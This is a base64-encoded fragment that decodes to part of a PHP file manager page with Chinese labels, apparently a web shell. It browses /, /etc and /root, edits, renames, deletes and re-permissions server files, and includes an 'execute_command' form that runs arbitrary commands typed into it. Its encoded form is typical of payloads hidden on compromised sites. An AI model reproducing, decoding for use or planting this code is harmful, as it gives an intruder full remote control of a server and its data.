1lIiBjbGFzcz0iYnRuIGJ0bi1pbmZvIj5Ib21lPC9hPg0KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD0vdmFyL3d3dyIgY2xhc3M9ImJ0biBidG4taW5mbyI+V2ViPC9hPg0KICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD0vZXRjIiBjbGFzcz0iYnRuIGJ0bi1pbmZvIj7phY3nva48L2E+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkZWRpdGluZ19maWxlKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij8iIGNsYXNzPSJidG4gYnRuLWluZm8iPui/lOWbnuWIl+ihqDwvYT4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGFjdGlvbl9yZXN1bHRbJ21lc3NhZ2UnXSk6ID8+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lc3NhZ2UgPD9waHAgZWNobyAkYWN0aW9uX3Jlc3VsdFsndHlwZSddOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGFjdGlvbl9yZXN1bHRbJ21lc3NhZ2UnXSk7ID8+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRlbnQtYXJlYSI+DQogICAgICAgICAgICAgICAgPD9waHAgaWYgKCRlZGl0aW5nX2ZpbGUpOiA/Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWluZm8iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1pbmZvLWl0ZW0iPjxzdHJvbmc+5paH5Lu2Ojwvc3Ryb25nPiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVfaW5mb1snbmFtZSddKTsgPz48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaW5mby1pdGVtIj48c3Ryb25nPui3r+W+hDo8L3N0cm9uZz4gPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlX2luZm9bJ3BhdGgnXSk7ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWluZm8taXRlbSI+PHN0cm9uZz7lpKflsI86PC9zdHJvbmc+IDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZV9pbmZvWydzaXplJ10pOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1pbmZvLWl0ZW0iPjxzdHJvbmc+5p2D6ZmQOjwvc3Ryb25nPiA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVfaW5mb1sncGVybWlzc2lvbnMnXSk7ID8+ICg8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGVfaW5mb1snbnVtZXJpY19wZXJtaXNzaW9ucyddKTsgPz4pPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJlZGl0X2ZpbGUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZXBhdGgiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRpbmdfZmlsZSk7ID8+Ij4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZmlsZV9jb250ZW50Ij7lhoXlrrk6PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgaWQ9ImZpbGVfY29udGVudCIgbmFtZT0iY29udGVudCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iMjAiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZV9jb250ZW50KTsgPz48L3RleHRhcmVhPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVkaXRvci1hY3Rpb25zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/IiBjbGFzcz0iYnRuIj7lj5bmtog8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPuS/neWtmDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJxdWljay1saW5rcyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aDQ+5b+r6YCf5a+86IiqOjwvaDQ+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD0vIiBjbGFzcz0icXVpY2stbGluay1idG4iPi8gKOacjeWKoeWZqOagueebruW9lSk8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD08P3BocCBlY2hvIHVybGVuY29kZSgkdGhpcy0+cHJvamVjdF9yb290KTsgPz4iIGNsYXNzPSJxdWljay1saW5rLWJ0biBxdWljay1saW5rLXByb2plY3QiPuW9k+WJjemhueebruagueebruW9lTwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wYXRoPS9ob21lIiBjbGFzcz0icXVpY2stbGluay1idG4iPi9ob21lPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9L3ZhciIgY2xhc3M9InF1aWNrLWxpbmstYnRuIj4vdmFyPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3BhdGg9L3Zhci93d3ciIGNsYXNzPSJxdWljay1saW5rLWJ0biI+L3Zhci93d3c8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD0vZXRjIiBjbGFzcz0icXVpY2stbGluay1idG4iPi9ldGM8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD0vdG1wIiBjbGFzcz0icXVpY2stbGluay1idG4iPi90bXA8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD0vdXNyIiBjbGFzcz0icXVpY2stbGluay1idG4iPi91c3I8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD0vb3B0IiBjbGFzcz0icXVpY2stbGluay1idG4iPi9vcHQ8L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/cGF0aD0vcm9vdCIgY2xhc3M9InF1aWNrLWxpbmstYnRuIj4vcm9vdDwvYT4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icGF0aC1uYXZpZ2F0aW9uIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGF0aF9wYXJ0cyA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHRoaXMtPmN1cnJlbnRfcGF0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkY3VycmVudF9wYXRoID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/cGF0aD0vIj4vPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkcGF0aF9wYXJ0cyBhcyAkcGFydCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHBhcnQpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjdXJyZW50X3BhdGggLj0gKCRjdXJyZW50X3BhdGggPyBESVJFQ1RPUllfU0VQQVJBVE9SIDogJycpIC4gJHBhcnQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnIC8gPGEgaHJlZj0iP3BhdGg9JyAuIHVybGVuY29kZSgkY3VycmVudF9wYXRoKSAuICciPicgLiBodG1sc3BlY2lhbGNoYXJzKCRwYXJ0KSAuICc8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9Im92ZXJmbG93LXg6YXV0bzsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGNsYXNzPSJmaWxlLXRhYmxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGhlYWQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+5ZCN56ewPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPuexu+WeizwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD7lpKflsI88L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+5L+u5pS55pe26Ze0PC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPuadg+mZkDwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD7mk43kvZw8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90aGVhZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJGNvbnRlbnRzIGFzICRpdGVtKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJmaWxlLW5hbWUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXRlbVsndHlwZSddID09PSAnZGlyZWN0b3J5Jyk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wYXRoPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRpdGVtWydwYXRoJ10pOyA/PiIgY2xhc3M9ImRpcmVjdG9yeSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDwn5OBIDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmaWxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg8J+ThCA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvICRpdGVtWyd0eXBlJ10gPT09ICdkaXJlY3RvcnknID8gJ+ebruW9lScgOiAn5paH5Lu2JzsgPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnc2l6ZSddKTsgPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbW9kaWZpZWQnXSk7ID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ3Blcm1pc3Npb25zJ10pOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c21hbGwgc3R5bGU9ImNvbG9yOiM3ZjhjOGQ7Ij4oPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWydudW1lcmljX3Blcm1pc3Npb25zJ10pOyA/Pik8L3NtYWxsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iZmlsZS1hY3Rpb25zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGl0ZW1bJ25hbWUnXSAhPT0gJy4uJyk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXRlbVsndHlwZSddID09PSAnZmlsZScpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2VkaXQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGl0ZW1bJ3BhdGgnXSk7ID8+IiBjbGFzcz0iYWN0aW9uLWJ0biBidG4taW5mbyI+57yW6L6RPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYWN0aW9uLWJ0biBidG4tcHJpbWFyeSIgb25jbGljaz0icmVuYW1lSXRlbSgnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWydwYXRoJ10pOyA/PicsICc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+JykiPumHjeWRveWQjTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJhY3Rpb24tYnRuIGJ0bi13YXJuaW5nIiBvbmNsaWNrPSJjaGFuZ2VQZXJtaXNzaW9ucygnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWydwYXRoJ10pOyA/PicsICc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ251bWVyaWNfcGVybWlzc2lvbnMnXSk7ID8+JykiPuadg+mZkDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiIHN0eWxlPSJkaXNwbGF5OmlubGluZTsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZGVsZXRlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRhcmdldCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsncGF0aCddKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJhY3Rpb24tYnRuIGJ0bi1kYW5nZXIiIG9uY2xpY2s9InJldHVybiBjb25maXJtKCfliKDpmaQgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWyduYW1lJ10pOyA/Pj8nKSI+5Yig6ZmkPC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Rib2R5Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPGRpdiBpZD0iY3JlYXRlRmlsZU1vZGFsIiBjbGFzcz0ibW9kYWwiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCI+DQogICAgICAgICAgICAgICAgPGgzPuaWsOW7uuaWh+S7tjwvaDM+DQogICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY3JlYXRlX2ZpbGUiPg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImZpbGVuYW1lIj7mlofku7blkI06PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0iZmlsZW5hbWUiIG5hbWU9ImZpbGVuYW1lIiBjbGFzcz0iZm9ybS1jb250cm9sIiByZXF1aXJlZD4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImRpc3BsYXk6ZmxleDtnYXA6OHB4O2p1c3RpZnktY29udGVudDpmbGV4LWVuZDsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4iIG9uY2xpY2s9ImhpZGVNb2RhbCgnY3JlYXRlRmlsZU1vZGFsJykiPuWPlua2iDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPuWIm+W7ujwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPGRpdiBpZD0iY3JlYXRlRGlyTW9kYWwiIGNsYXNzPSJtb2RhbCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4NCiAgICAgICAgICAgICAgICA8aDM+5paw5bu65paH5Lu25aS5PC9oMz4NCiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfZGlyZWN0b3J5Ij4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJkaXJuYW1lIj7mlofku7blpLnlkI06PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0iZGlybmFtZSIgbmFtZT0iZGlybmFtZSIgY2xhc3M9ImZvcm0tY29udHJvbCIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7Z2FwOjhweDtqdXN0aWZ5LWNvbnRlbnQ6ZmxleC1lbmQ7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIiBvbmNsaWNrPSJoaWRlTW9kYWwoJ2NyZWF0ZURpck1vZGFsJykiPuWPlua2iDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPuWIm+W7ujwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPGRpdiBpZD0icmVuYW1lTW9kYWwiIGNsYXNzPSJtb2RhbCI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4NCiAgICAgICAgICAgICAgICA8aDM+6YeN5ZG95ZCNPC9oMz4NCiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJyZW5hbWUiPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0ib2xkX3BhdGgiIG5hbWU9Im9sZF9wYXRoIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJuZXdfbmFtZSI+5paw5ZCN56ewOjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9Im5ld19uYW1lIiBuYW1lPSJuZXdfbmFtZSIgY2xhc3M9ImZvcm0tY29udHJvbCIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7Z2FwOjhweDtqdXN0aWZ5LWNvbnRlbnQ6ZmxleC1lbmQ7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIiBvbmNsaWNrPSJoaWRlTW9kYWwoJ3JlbmFtZU1vZGFsJykiPuWPlua2iDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPumHjeWRveWQjTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPGRpdiBpZD0icGVybWlzc2lvbnNNb2RhbCIgY2xhc3M9Im1vZGFsIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPg0KICAgICAgICAgICAgICAgIDxoMz7kv67mlLnmnYPpmZA8L2gzPg0KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImNoYW5nZV9wZXJtaXNzaW9ucyI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJwZXJtX3RhcmdldCIgbmFtZT0idGFyZ2V0Ij4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbD7lvZPliY3mnYPpmZA6IDxzcGFuIGlkPSJjdXJyZW50X3Blcm1zIj48L3NwYW4+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJwZXJtaXNzaW9uc19pbnB1dCI+5p2D6ZmQ5YC8OjwvbGFiZWw+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InBlcm1pc3Npb25zX2lucHV0IiBuYW1lPSJwZXJtaXNzaW9ucyIgY2xhc3M9ImZvcm0tY29udHJvbCBmb3JtLWNvbnRyb2wtc21hbGwiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGxhY2Vob2xkZXI9Ijc1NSIgcmVxdWlyZWQgcGF0dGVybj0iMD9bMC03XXszfSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8c21hbGwgc3R5bGU9ImNvbG9yOiM3ZjhjOGQ7Ij48L3NtYWxsPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7Z2FwOjhweDtqdXN0aWZ5LWNvbnRlbnQ6ZmxleC1lbmQ7bWFyZ2luLXRvcDoxMnB4OyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biIgb25jbGljaz0iaGlkZU1vZGFsKCdwZXJtaXNzaW9uc01vZGFsJykiPuWPlua2iDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiPuS/ruaUuTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPGRpdiBpZD0iY29tbWFuZE1vZGFsIiBjbGFzcz0ibW9kYWwiPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCI+DQogICAgICAgICAgICAgICAgPGgzPuaJp+ihjOWRveS7pDwvaDM+DQogICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZXhlY3V0ZV9jb21tYW5kIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJjb21tYW5kIj7lkb3ku6Q6PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0iY29tbWFuZCIgbmFtZT0iY29tbWFuZCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcGxhY2Vob2xkZXI9Iui+k+WFpeWRveS7pC4uLiIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7Z2FwOjhweDtqdXN0aWZ5LWNvbnRlbnQ6ZmxleC1lbmQ7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIiBvbmNsaWNrPSJoaWRlTW9k